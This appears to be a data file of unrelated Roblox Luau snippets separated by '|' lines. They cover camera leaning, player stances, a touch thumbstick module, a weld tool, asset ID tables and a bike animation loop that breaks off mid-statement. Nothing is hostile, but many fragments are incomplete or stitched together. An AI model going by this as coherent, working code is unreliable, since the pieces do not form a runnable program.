local LeanSpring = {}
LeanSpring.cornerPeek = SpringMod.new(0)
LeanSpring.cornerPeek.d = 1
LeanSpring.cornerPeek.s = 20
LeanSpring.peekFactor = math.rad(-15)
LeanSpring.dirPeek = 0
function L_150_.Update()
LeanSpring.cornerPeek.t = LeanSpring.peekFactor * Virar
local NewLeanCF = CFrame.fromAxisAngle(Vector3.new(0, 0, 1), LeanSpring.cornerPeek.p)
cam.CFrame = cam.CFrame * NewLeanCF
end
game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update)
function RunCheck()
if runKeyDown then
mouse1down = false
GunStance = 3
Evt.GunStance:FireServer(GunStance,AnimData)
SprintAnim()
else
if aimming then
GunStance = 2
Evt.GunStance:FireServer(GunStance,AnimData)
else
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
end
IdleAnim()
end
end
function Stand()
Stance:FireServer(Stances,Virar)
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play()
SE_GUI.MainFrame.Poses.Levantado.Visible = true
SE_GUI.MainFrame.Poses.Agaixado.Visible = false
SE_GUI.MainFrame.Poses.Deitado.Visible = false
--if Steady then
-- SetWalkSpeed(gameRules.SlowPaceWalkSpeed)
--else
-- if script.Parent:GetAttribute("Injured") then
-- SetWalkSpeed(gameRules.InjuredWalksSpeed)
-- else
-- SetWalkSpeed(gameRules.NormalWalkSpeed)
-- end
--end
char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, true)
IsStanced = false
end
function Crouch()
Stance:FireServer(Stances,Virar)
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play()
SE_GUI.MainFrame.Poses.Levantado.Visible = false
SE_GUI.MainFrame.Poses.Agaixado.Visible = true
SE_GUI.MainFrame.Poses.Deitado.Visible = false
--if script.Parent:GetAttribute("Injured") then
-- SetWalkSpeed(gameRules.InjuredCrouchWalkSpeed)
--else
-- SetWalkSpeed(gameRules.CrouchWalkSpeed)
--end
char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false)
IsStanced = true
end
function Prone()
Stance:FireServer(Stances,Virar)
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play()
SE_GUI.MainFrame.Poses.Levantado.Visible = false
SE_GUI.MainFrame.Poses.Agaixado.Visible = false
SE_GUI.MainFrame.Poses.Deitado.Visible = true
--if ACS_Client:GetAttribute("Surrender") then
-- char.Humanoid.WalkSpeed = 0
--else
-- SetWalkSpeed(gameRules.ProneWalksSpeed)
--end
char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false)
IsStanced = true
end
function Lean()
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play()
Stance:FireServer(Stances,Virar)
if Virar == 0 then
SE_GUI.MainFrame.Poses.Esg_Left.Visible = false
SE_GUI.MainFrame.Poses.Esg_Right.Visible = false
elseif Virar == 1 then
SE_GUI.MainFrame.Poses.Esg_Left.Visible = false
SE_GUI.MainFrame.Poses.Esg_Right.Visible = true
elseif Virar == -1 then
SE_GUI.MainFrame.Poses.Esg_Left.Visible = true
SE_GUI.MainFrame.Poses.Esg_Right.Visible = false
end
end
|
-- ROBLOX deviation: rewrote to replace ternary operators and reduce code repetition
|
local function getConfig(options: OptionsReceived?): Config
return {
callToJSON = getOption(options, "callToJSON"),
-- ROBLOX deviation: color formatting omitted
colors = nil,
compareKeys = if options ~= nil and typeof(options.compareKeys) == "function"
then options.compareKeys
else DEFAULT_OPTIONS.compareKeys,
escapeRegex = getOption(options, "escapeRegex"),
escapeString = getOption(options, "escapeString"),
indent = getIndent(options),
maxDepth = getOption(options, "maxDepth"),
min = getOption(options, "min"),
plugins = getOption(options, "plugins"),
printBasicPrototype = if options ~= nil and options.printBasicPrototype ~= nil
then options.printBasicPrototype
else true,
printFunctionName = getOption(options, "printFunctionName"),
spacingInner = getSpacingInner(options),
spacingOuter = getSpacingOuter(options),
}
end
function createIndent(indent: number): string
-- ROBLOX deviation: used string repeat instead of a table join, also don't need the +1
return string.rep(" ", indent)
end
|
--// Tables
|
local L_45_ = {
"1565831468";
"1565832329";
}
local L_46_ = {
"1565831129";
"1565830611";
}
local L_47_ = {
"1565825075";
"1565824613";
}
local L_48_ = {
"1565821941";
"1565821634";
}
local L_49_ = {
"1565756818";
"1565756607";
}
local L_50_ = {
"1565717027";
"1565716705";
}
local L_51_ = {
2389761679;
1565675605;
}
|
--------| Setting |--------
|
local blacklistedClasses = {"Sparkles", "Smoke", "Script", "LocalScript", "Sound", "ParticleEmitter", "Fire", "PointLight", "SurfaceLight", "SpotLight"}
|
--script.Parent.Transparency = 0
--wait(0.6)
--script.Parent.Transparency = 0.1
--wait(0.01)
--script.Parent.Transparency = 0.2
--wait(0.01)
--script.Parent.Transparency = 0.3
--wait(0.01)
--script.Parent.Transparency = 0.4
--wait(0.01)
--script.Parent.Transparency = 0.5
--wait(0.01)
--script.Parent.Transparency = 0.6
--wait(0.01)
--script.Parent.Transparency = 0.7
--wait(0.01)
--script.Parent.Transparency = 0.8
--wait(0.01)
--script.Parent.Transparency = 0.9
--wait(0.01)
|
script.Parent.Transparency = 1
|
-- Symbol
-- Stephen Leitnick
-- January 04, 2022
| |
--[[**
ensures value matches given interface definition strictly
@param checkTable The interface definition
@returns A function that will return true iff the condition is passed
**--]]
|
function t.strictInterface(checkTable)
assert(checkInterface(checkTable))
return function(value)
local tableSuccess, tableErrMsg = t.table(value)
if tableSuccess == false then
return false, tableErrMsg or ""
end
for key, check in checkTable do
local success, errMsg = check(value[key])
if success == false then
return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "")
end
end
for key in value do
if not checkTable[key] then
return false, string.format("[interface] unexpected field %q", tostring(key))
end
end
return true
end
end
end
|
-- Container for temporary connections (disconnected automatically)
|
local Connections = {};
function WeldTool.Equip()
-- Enables the tool's equipped functionality
-- Start up our interface
ShowUI();
EnableFocusHighlighting();
end;
function WeldTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
ClearConnections();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if UI then
-- Reveal the UI
UI.Visible = true;
-- Skip UI creation
return;
end;
-- Create the UI
UI = Core.Tool.Interfaces.BTWeldToolGUI:Clone();
UI.Parent = Core.UI;
UI.Visible = true;
-- Hook up the buttons
UI.Interface.WeldButton.MouseButton1Click:Connect(CreateWelds);
UI.Interface.BreakWeldsButton.MouseButton1Click:Connect(BreakWelds);
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not UI then
return;
end;
-- Hide the UI
UI.Visible = false;
end;
|
------------------------------------------------------------------------------------
|
local WaitTime = 1 -- Change this to the amount of time it takes for the button to re-enable.
local modelname = "Cart" -- If your model is not named this, then make the purple words the same name as the model!
|
--s.Pitch = 0.7
--s.Pitch = 0.7
|
while true do
while s.Pitch<0.901 do
s.Pitch=s.Pitch+0.010
s:Play()
if s.Pitch>0.901 then
s.Pitch=0.901
end
wait(0.001)
end
|
-----------------
--| Variables |--
-----------------
|
local Tool = script.Parent
local R6Folder = script:WaitForChild("R6")
local R15Folder = script:WaitForChild("R15")
local ScytheEquipAnimation = R6Folder:WaitForChild("ScytheEquip2")
local ScytheIdleAnimation = R6Folder:WaitForChild("ScytheIdle2")
local ScytheSlashAnimation = R6Folder:WaitForChild("ScytheSlash")
local ScytheEquipTrack = nil
local ScytheIdleTrack = nil
local ScytheSlashTrack = nil
|
-- https://developer.roblox.com/en-us/api-reference/class/DataStoreService
|
local sample = sm:Clone() -- клонируем исходник
sm:Destroy() -- и уничтожаем его
|
-- Was called OnMoveTouchEnded in previous version
|
function DynamicThumbstick:OnInputEnded()
self.moveTouchObject = nil
self.moveVector = ZERO_VECTOR3
self:FadeThumbstick(false)
end
function DynamicThumbstick:FadeThumbstick(visible: boolean?)
if not visible and self.moveTouchObject then
return
end
if self.isFirstTouch then return end
if self.startImageFadeTween then
self.startImageFadeTween:Cancel()
end
if self.endImageFadeTween then
self.endImageFadeTween:Cancel()
end
for i = 1, #self.middleImages do
if self.middleImageFadeTweens[i] then
self.middleImageFadeTweens[i]:Cancel()
end
end
if visible then
self.startImageFadeTween = TweenService:Create(self.startImage, ThumbstickFadeTweenInfo, { ImageTransparency = 0 })
self.startImageFadeTween:Play()
self.endImageFadeTween = TweenService:Create(self.endImage, ThumbstickFadeTweenInfo, { ImageTransparency = 0.2 })
self.endImageFadeTween:Play()
for i = 1, #self.middleImages do
self.middleImageFadeTweens[i] = TweenService:Create(self.middleImages[i], ThumbstickFadeTweenInfo, { ImageTransparency = MIDDLE_TRANSPARENCIES[i] })
self.middleImageFadeTweens[i]:Play()
end
else
self.startImageFadeTween = TweenService:Create(self.startImage, ThumbstickFadeTweenInfo, { ImageTransparency = 1 })
self.startImageFadeTween:Play()
self.endImageFadeTween = TweenService:Create(self.endImage, ThumbstickFadeTweenInfo, { ImageTransparency = 1 })
self.endImageFadeTween:Play()
for i = 1, #self.middleImages do
self.middleImageFadeTweens[i] = TweenService:Create(self.middleImages[i], ThumbstickFadeTweenInfo, { ImageTransparency = 1 })
self.middleImageFadeTweens[i]:Play()
end
end
end
function DynamicThumbstick:FadeThumbstickFrame(fadeDuration: number, fadeRatio: number)
self.fadeInAndOutHalfDuration = fadeDuration * 0.5
self.fadeInAndOutBalance = fadeRatio
self.tweenInAlphaStart = tick()
end
function DynamicThumbstick:InputInFrame(inputObject: InputObject)
local frameCornerTopLeft: Vector2 = self.thumbstickFrame.AbsolutePosition
local frameCornerBottomRight = frameCornerTopLeft + self.thumbstickFrame.AbsoluteSize
local inputPosition = inputObject.Position
if inputPosition.X >= frameCornerTopLeft.X and inputPosition.Y >= frameCornerTopLeft.Y then
if inputPosition.X <= frameCornerBottomRight.X and inputPosition.Y <= frameCornerBottomRight.Y then
return true
end
end
return false
end
function DynamicThumbstick:DoFadeInBackground()
local playerGui = LocalPlayer:FindFirstChildOfClass("PlayerGui")
local hasFadedBackgroundInOrientation = false
-- only fade in/out the background once per orientation
if playerGui then
if playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeLeft or
playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeRight then
hasFadedBackgroundInOrientation = self.hasFadedBackgroundInLandscape
self.hasFadedBackgroundInLandscape = true
elseif playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.Portrait then
hasFadedBackgroundInOrientation = self.hasFadedBackgroundInPortrait
self.hasFadedBackgroundInPortrait = true
end
end
if not hasFadedBackgroundInOrientation then
self.fadeInAndOutHalfDuration = FADE_IN_OUT_HALF_DURATION_DEFAULT
self.fadeInAndOutBalance = FADE_IN_OUT_BALANCE_DEFAULT
self.tweenInAlphaStart = tick()
end
end
function DynamicThumbstick:DoMove(direction: Vector3)
local currentMoveVector: Vector3 = direction
-- Scaled Radial Dead Zone
local inputAxisMagnitude: number = currentMoveVector.magnitude
if inputAxisMagnitude < self.radiusOfDeadZone then
currentMoveVector = ZERO_VECTOR3
else
currentMoveVector = currentMoveVector.unit*(
1 - math.max(0, (self.radiusOfMaxSpeed - currentMoveVector.magnitude)/self.radiusOfMaxSpeed)
)
currentMoveVector = Vector3.new(currentMoveVector.x, 0, currentMoveVector.y)
end
self.moveVector = currentMoveVector
end
function DynamicThumbstick:LayoutMiddleImages(startPos: Vector3, endPos: Vector3)
local startDist = (self.thumbstickSize / 2) + self.middleSize
local vector = endPos - startPos
local distAvailable = vector.magnitude - (self.thumbstickRingSize / 2) - self.middleSize
local direction = vector.unit
local distNeeded = self.middleSpacing * NUM_MIDDLE_IMAGES
local spacing = self.middleSpacing
if distNeeded < distAvailable then
spacing = distAvailable / NUM_MIDDLE_IMAGES
end
for i = 1, NUM_MIDDLE_IMAGES do
local image = self.middleImages[i]
local distWithout = startDist + (spacing * (i - 2))
local currentDist = startDist + (spacing * (i - 1))
if distWithout < distAvailable then
local pos = endPos - direction * currentDist
local exposedFraction = math.clamp(1 - ((currentDist - distAvailable) / spacing), 0, 1)
image.Visible = true
image.Position = UDim2.new(0, pos.X, 0, pos.Y)
image.Size = UDim2.new(0, self.middleSize * exposedFraction, 0, self.middleSize * exposedFraction)
else
image.Visible = false
end
end
end
function DynamicThumbstick:MoveStick(pos)
local vector2StartPosition = Vector2.new(self.moveTouchStartPosition.X, self.moveTouchStartPosition.Y)
local startPos = vector2StartPosition - self.thumbstickFrame.AbsolutePosition
local endPos = Vector2.new(pos.X, pos.Y) - self.thumbstickFrame.AbsolutePosition
self.endImage.Position = UDim2.new(0, endPos.X, 0, endPos.Y)
self:LayoutMiddleImages(startPos, endPos)
end
function DynamicThumbstick:BindContextActions()
local function inputBegan(inputObject)
if self.moveTouchObject then
return Enum.ContextActionResult.Pass
end
if not self:InputInFrame(inputObject) then
return Enum.ContextActionResult.Pass
end
if self.isFirstTouch then
self.isFirstTouch = false
local tweenInfo = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out,0,false,0)
TweenService:Create(self.startImage, tweenInfo, {Size = UDim2.new(0, 0, 0, 0)}):Play()
TweenService:Create(
self.endImage,
tweenInfo,
{Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize), ImageColor3 = Color3.new(0,0,0)}
):Play()
end
self.moveTouchLockedIn = false
self.moveTouchObject = inputObject
self.moveTouchStartPosition = inputObject.Position
self.moveTouchFirstChanged = true
if FADE_IN_OUT_BACKGROUND then
self:DoFadeInBackground()
end
return Enum.ContextActionResult.Pass
end
local function inputChanged(inputObject: InputObject)
if inputObject == self.moveTouchObject then
if self.moveTouchFirstChanged then
self.moveTouchFirstChanged = false
local startPosVec2 = Vector2.new(
inputObject.Position.X - self.thumbstickFrame.AbsolutePosition.X,
inputObject.Position.Y - self.thumbstickFrame.AbsolutePosition.Y
)
self.startImage.Visible = true
self.startImage.Position = UDim2.new(0, startPosVec2.X, 0, startPosVec2.Y)
self.endImage.Visible = true
self.endImage.Position = self.startImage.Position
self:FadeThumbstick(true)
self:MoveStick(inputObject.Position)
end
self.moveTouchLockedIn = true
local direction = Vector2.new(
inputObject.Position.x - self.moveTouchStartPosition.x,
inputObject.Position.y - self.moveTouchStartPosition.y
)
if math.abs(direction.x) > 0 or math.abs(direction.y) > 0 then
self:DoMove(direction)
self:MoveStick(inputObject.Position)
end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
local function inputEnded(inputObject)
if inputObject == self.moveTouchObject then
self:OnInputEnded()
if self.moveTouchLockedIn then
return Enum.ContextActionResult.Sink
end
end
return Enum.ContextActionResult.Pass
end
local function handleInput(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
return inputBegan(inputObject)
elseif inputState == Enum.UserInputState.Change then
return inputChanged(inputObject)
elseif inputState == Enum.UserInputState.End then
return inputEnded(inputObject)
elseif inputState == Enum.UserInputState.Cancel then
self:OnInputEnded()
end
end
ContextActionService:BindActionAtPriority(
DYNAMIC_THUMBSTICK_ACTION_NAME,
handleInput,
false,
DYNAMIC_THUMBSTICK_ACTION_PRIORITY,
Enum.UserInputType.Touch)
end
function DynamicThumbstick:Create(parentFrame: GuiBase2d)
if self.thumbstickFrame then
self.thumbstickFrame:Destroy()
self.thumbstickFrame = nil
if self.onRenderSteppedConn then
self.onRenderSteppedConn:Disconnect()
self.onRenderSteppedConn = nil
end
end
self.thumbstickSize = 45
self.thumbstickRingSize = 20
self.middleSize = 10
self.middleSpacing = self.middleSize + 4
self.radiusOfDeadZone = 2
self.radiusOfMaxSpeed = 20
local screenSize = parentFrame.AbsoluteSize
local isBigScreen = math.min(screenSize.x, screenSize.y) > 500
if isBigScreen then
self.thumbstickSize = self.thumbstickSize * 2
self.thumbstickRingSize = self.thumbstickRingSize * 2
self.middleSize = self.middleSize * 2
self.middleSpacing = self.middleSpacing * 2
self.radiusOfDeadZone = self.radiusOfDeadZone * 2
self.radiusOfMaxSpeed = self.radiusOfMaxSpeed * 2
end
local function layoutThumbstickFrame(portraitMode)
if portraitMode then
self.thumbstickFrame.Size = UDim2.new(1, 0, 0.4, 0)
self.thumbstickFrame.Position = UDim2.new(0, 0, 0.6, 0)
else
self.thumbstickFrame.Size = UDim2.new(0.4, 0, 2/3, 0)
self.thumbstickFrame.Position = UDim2.new(0, 0, 1/3, 0)
end
end
self.thumbstickFrame = Instance.new("Frame")
self.thumbstickFrame.BorderSizePixel = 0
self.thumbstickFrame.Name = "DynamicThumbstickFrame"
self.thumbstickFrame.Visible = false
self.thumbstickFrame.BackgroundTransparency = 1.0
self.thumbstickFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
self.thumbstickFrame.Active = false
layoutThumbstickFrame(false)
self.startImage = Instance.new("ImageLabel")
self.startImage.Name = "ThumbstickStart"
self.startImage.Visible = true
self.startImage.BackgroundTransparency = 1
self.startImage.Image = TOUCH_CONTROLS_SHEET
self.startImage.ImageRectOffset = Vector2.new(1,1)
self.startImage.ImageRectSize = Vector2.new(144, 144)
self.startImage.ImageColor3 = Color3.new(0, 0, 0)
self.startImage.AnchorPoint = Vector2.new(0.5, 0.5)
self.startImage.Position = UDim2.new(0, self.thumbstickRingSize * 3.3, 1, -self.thumbstickRingSize * 2.8)
self.startImage.Size = UDim2.new(0, self.thumbstickRingSize * 3.7, 0, self.thumbstickRingSize * 3.7)
self.startImage.ZIndex = 10
self.startImage.Parent = self.thumbstickFrame
self.endImage = Instance.new("ImageLabel")
self.endImage.Name = "ThumbstickEnd"
self.endImage.Visible = true
self.endImage.BackgroundTransparency = 1
self.endImage.Image = TOUCH_CONTROLS_SHEET
self.endImage.ImageRectOffset = Vector2.new(1,1)
self.endImage.ImageRectSize = Vector2.new(144, 144)
self.endImage.AnchorPoint = Vector2.new(0.5, 0.5)
self.endImage.Position = self.startImage.Position
self.endImage.Size = UDim2.new(0, self.thumbstickSize * 0.8, 0, self.thumbstickSize * 0.8)
self.endImage.ZIndex = 10
self.endImage.Parent = self.thumbstickFrame
for i = 1, NUM_MIDDLE_IMAGES do
self.middleImages[i] = Instance.new("ImageLabel")
self.middleImages[i].Name = "ThumbstickMiddle"
self.middleImages[i].Visible = false
self.middleImages[i].BackgroundTransparency = 1
self.middleImages[i].Image = TOUCH_CONTROLS_SHEET
self.middleImages[i].ImageRectOffset = Vector2.new(1,1)
self.middleImages[i].ImageRectSize = Vector2.new(144, 144)
self.middleImages[i].ImageTransparency = MIDDLE_TRANSPARENCIES[i]
self.middleImages[i].AnchorPoint = Vector2.new(0.5, 0.5)
self.middleImages[i].ZIndex = 9
self.middleImages[i].Parent = self.thumbstickFrame
end
local CameraChangedConn: RBXScriptConnection? = nil
local function onCurrentCameraChanged()
if CameraChangedConn then
CameraChangedConn:Disconnect()
CameraChangedConn = nil
end
local newCamera = workspace.CurrentCamera
if newCamera then
local function onViewportSizeChanged()
local size = newCamera.ViewportSize
local portraitMode = size.X < size.Y
layoutThumbstickFrame(portraitMode)
end
CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(onViewportSizeChanged)
onViewportSizeChanged()
end
end
workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged)
if workspace.CurrentCamera then
onCurrentCameraChanged()
end
self.moveTouchStartPosition = nil
self.startImageFadeTween = nil
self.endImageFadeTween = nil
self.middleImageFadeTweens = {}
self.onRenderSteppedConn = RunService.RenderStepped:Connect(function()
if self.tweenInAlphaStart ~= nil then
local delta = tick() - self.tweenInAlphaStart
local fadeInTime = (self.fadeInAndOutHalfDuration * 2 * self.fadeInAndOutBalance)
self.thumbstickFrame.BackgroundTransparency = 1 - FADE_IN_OUT_MAX_ALPHA*math.min(delta/fadeInTime, 1)
if delta > fadeInTime then
self.tweenOutAlphaStart = tick()
self.tweenInAlphaStart = nil
end
elseif self.tweenOutAlphaStart ~= nil then
local delta = tick() - self.tweenOutAlphaStart
local fadeOutTime = (self.fadeInAndOutHalfDuration * 2) - (self.fadeInAndOutHalfDuration * 2 * self.fadeInAndOutBalance)
self.thumbstickFrame.BackgroundTransparency = 1 - FADE_IN_OUT_MAX_ALPHA + FADE_IN_OUT_MAX_ALPHA*math.min(delta/fadeOutTime, 1)
if delta > fadeOutTime then
self.tweenOutAlphaStart = nil
end
end
end)
self.onTouchEndedConn = UserInputService.TouchEnded:connect(function(inputObject: InputObject)
if inputObject == self.moveTouchObject then
self:OnInputEnded()
end
end)
GuiService.MenuOpened:connect(function()
if self.moveTouchObject then
self:OnInputEnded()
end
end)
local playerGui = LocalPlayer:FindFirstChildOfClass("PlayerGui")
while not playerGui do
LocalPlayer.ChildAdded:wait()
playerGui = LocalPlayer:FindFirstChildOfClass("PlayerGui")
end
local playerGuiChangedConn = nil
local originalScreenOrientationWasLandscape = playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeLeft or
playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeRight
local function longShowBackground()
self.fadeInAndOutHalfDuration = 2.5
self.fadeInAndOutBalance = 0.05
self.tweenInAlphaStart = tick()
end
playerGuiChangedConn = playerGui:GetPropertyChangedSignal("CurrentScreenOrientation"):Connect(function()
if (originalScreenOrientationWasLandscape and playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.Portrait) or
(not originalScreenOrientationWasLandscape and playerGui.CurrentScreenOrientation ~= Enum.ScreenOrientation.Portrait) then
playerGuiChangedConn:disconnect()
longShowBackground()
if originalScreenOrientationWasLandscape then
self.hasFadedBackgroundInPortrait = true
else
self.hasFadedBackgroundInLandscape = true
end
end
end)
self.thumbstickFrame.Parent = parentFrame
if game:IsLoaded() then
longShowBackground()
else
coroutine.wrap(function()
game.Loaded:Wait()
longShowBackground()
end)()
end
end
return DynamicThumbstick
|
-- Make button clickable even if 3D viewport is hidden
|
newScriptButton.ClickableWhenViewportHidden = true
local function onNewScriptButtonClicked()
local newScript = Instance.new("Script")
newScript.Source = ""
newScript.Parent = game:GetService("ServerScriptService")
end
newScriptButton.Click:Connect(onNewScriptButtonClicked)
|
-- IF YOU WANT TO UPDATE THE EXISTING ANIMATIONS YOU HAVE WITHOUT HAVING TO REDO THEM, COPY EVERYTHING BELOW AND UPDATE IT ---
|
while wait(clock) do
--value*(1-multiplier)+endpoint*multiplier
Lean = math.rad(-bike.Body.bal.Orientation.Z)
if C.Humanoid.RigType == Enum.HumanoidRigType.R6 then
if math.abs(Lean) < R6HeadZ then
bike.Misc.Anims.R6.Head.Z.M.CurrentAngle = -math.abs(Lean)
else
bike.Misc.Anims.R6.Head.Z.M.CurrentAngle = -R6HeadZ
end
if Lean < R6HeadX and Lean > -R6HeadX then
bike.Misc.Anims.R6.Head.X.M.CurrentAngle = -Lean
elseif Lean > R6HeadX then
bike.Misc.Anims.R6.Head.X.M.CurrentAngle = -R6HeadX
elseif Lean < -R6HeadX then
bike.Misc.Anims.R6.Head.X.M.CurrentAngle = R6HeadX
end
if script.Parent.Values.SteerT.Value > 0.01 then
bike.Misc.Anims.R6.Head.Y.M.CurrentAngle = bike.Misc.Anims.R6.Head.Y.M.CurrentAngle*(1-.1)+math.max(-(math.abs(script.Parent.Values.SteerT.Value)*(bike.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*-R6HeadYStart), -R6HeadYFinish)*.1
elseif script.Parent.Values.SteerT.Value < -0.01 then
bike.Misc.Anims.R6.Head.Y.M.CurrentAngle = bike.Misc.Anims.R6.Head.Y.M.CurrentAngle*(1-.1)+math.min((math.abs(script.Parent.Values.SteerT.Value)*(bike.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*R6HeadYStart), R6HeadYFinish)*.1
else
bike.Misc.Anims.R6.Head.Y.M.CurrentAngle = bike.Misc.Anims.R6.Head.Y.M.CurrentAngle*(1-.1)+0*.1
end
if bike.DriveSeat.Velocity.magnitude > 5 then
if Lean < 0 then
bike.Misc.Anims.R6.RightLeg.I.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.I.M.CurrentAngle*(1-.1)+-0*.1
bike.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6RightLegLeftLeanD),R6RightLegLeftLean)*R6RightLegLeftLeanM))*.1
bike.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle = bike.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle*(1-.1)+-0*.1
bike.Misc.Anims.R6.RightArm.Y.M.CurrentAngle = bike.Misc.Anims.R6.RightArm.Y.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6RightArmLeftLeanD),R6RightArmLeftLean)*R6RightArmLeftLeanM))*.1
bike.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle = bike.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6LeftArmLeftLeanD),R6LeftArmLeftLean)*R6LeftArmLeftLeanM))*.1
bike.Misc.Anims.R6.RightLeg.X.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.X.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6RightLegLeftLeanD),R6RightLegLeftLean)*R6RightLegLeftLeanM))*.1
bike.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle = bike.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6LeftLegLeftLeanD),R6LeftLegLeftLean)*R6LeftLegLeftLeanM))*.1
bike.Misc.Anims.R6.Torso.X.M.CurrentAngle = bike.Misc.Anims.R6.Torso.X.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6TorsoLeftLeanD),R6TorsoLeftLean)*R6TorsoLeftLeanM))*.1
else
bike.Misc.Anims.R6.RightLeg.I.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.I.M.CurrentAngle*(1-.1)+-0*.1
bike.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle*(1-.1)+-0*.1
bike.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle = bike.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6LeftLegRightLeanD),R6LeftLegRightLean)*R6LeftLegRightLeanM))*.1
bike.Misc.Anims.R6.RightArm.Y.M.CurrentAngle = bike.Misc.Anims.R6.RightArm.Y.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6RightArmRightLeanD),R6RightArmRightLean)*R6RightArmRightLeanM))*.1
bike.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle = bike.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6LeftArmRightLeanD),R6LeftArmRightLean)*R6LeftArmRightLeanM))*.1
bike.Misc.Anims.R6.RightLeg.X.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.X.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6RightLegRightLeanD),R6RightLegRightLean)*R6RightLegRightLeanM))*.1
bike.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle = bike.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6LeftLegRightLeanD),R6LeftLegRightLean)*R6LeftLegRightLeanM))*.1
bike.Misc.Anims.R6.Torso.X.M.CurrentAngle = bike.Misc.Anims.R6.Torso.X.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6TorsoRightLeanD),R6TorsoRightLean)*R6TorsoRightLeanM))*.1
end
else
bike.Misc.Anims.R6.Torso.X.M.CurrentAngle = bike.Misc.Anims.R6.Torso.X.M.CurrentAngle*(1-.1)+-(-.3)*.1
bike.Misc.Anims.R6.RightArm.Y.M.CurrentAngle = bike.Misc.Anims.R6.RightArm.Y.M.CurrentAngle*(1-.1)+-(-.3)*.1
bike.Misc.Anims.R6.RightArm.Z.M.CurrentAngle = bike.Misc.Anims.R6.RightArm.Z.M.CurrentAngle*(1-.1)+-.5*.1
bike.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle = bike.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle*(1-.1)+-.4*.1
bike.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle = bike.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle*(1-.1)+-.2*.1
bike.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle = bike.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle*(1-.1)+-.3*.1
bike.Misc.Anims.R6.RightLeg.I.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.I.M.CurrentAngle*(1-.1)+-1*.1
bike.Misc.Anims.R6.RightLeg.X.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.X.M.CurrentAngle*(1-.1)+-.8*.1
bike.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle*(1-.1)+-.5*.1
end
if bike.DriveSeat.Velocity.magnitude > TuckInSpeed then
